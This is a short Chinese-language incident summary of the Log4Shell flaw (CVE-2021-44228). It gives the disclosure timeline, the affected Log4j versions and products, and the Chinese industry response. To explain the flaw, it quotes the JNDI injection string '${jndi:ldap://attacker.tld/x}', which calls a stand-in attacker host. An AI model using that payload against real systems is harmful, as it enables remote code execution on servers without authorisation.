Log4Shell 漏洞披露

本文为事件概要整理。

2021 年 12 月 9 日,阿里云安全团队向 Apache 报告 Log4j 远程代码执行漏洞 (CVE-2021-44228),12 月 10 日 Apache 发布 2.15.0 修复。漏洞因 Log4j 的 JNDI lookup 功能允许通过 ${jndi:ldap://attacker.tld/x} 等模式从远程加载并执行代码,影响 Log4j 2.0-beta9 至 2.14.1。

影响

• 影响 Apache Struts2、Solr、Druid、ElasticSearch 等数百款开源产品
• Steam、Apple iCloud、Minecraft 等被用于演示
• 国内云厂商(阿里云、腾讯云、华为云)紧急部署 WAF 规则
• CNVD、CNNVD 将其定级为高危

国内响应

• CNCERT/CC 发布专项处置指南
• 奇安信、360、安恒等发布本地检测工具
• 国内 Java 生态全面升级

参考资料

1. CNVD 关于 Log4Shell 的高危公告
2. CNCERT/CC 处置指南
3. CNNVD 通报
4. 阿里云安全:Log4Shell 深度分析
5. FreeBuf 专题报道

转载与版权声明

本文为「点滴安全」基于多方公开资料整理的事件概要,所有原始版权归各发布机构所有。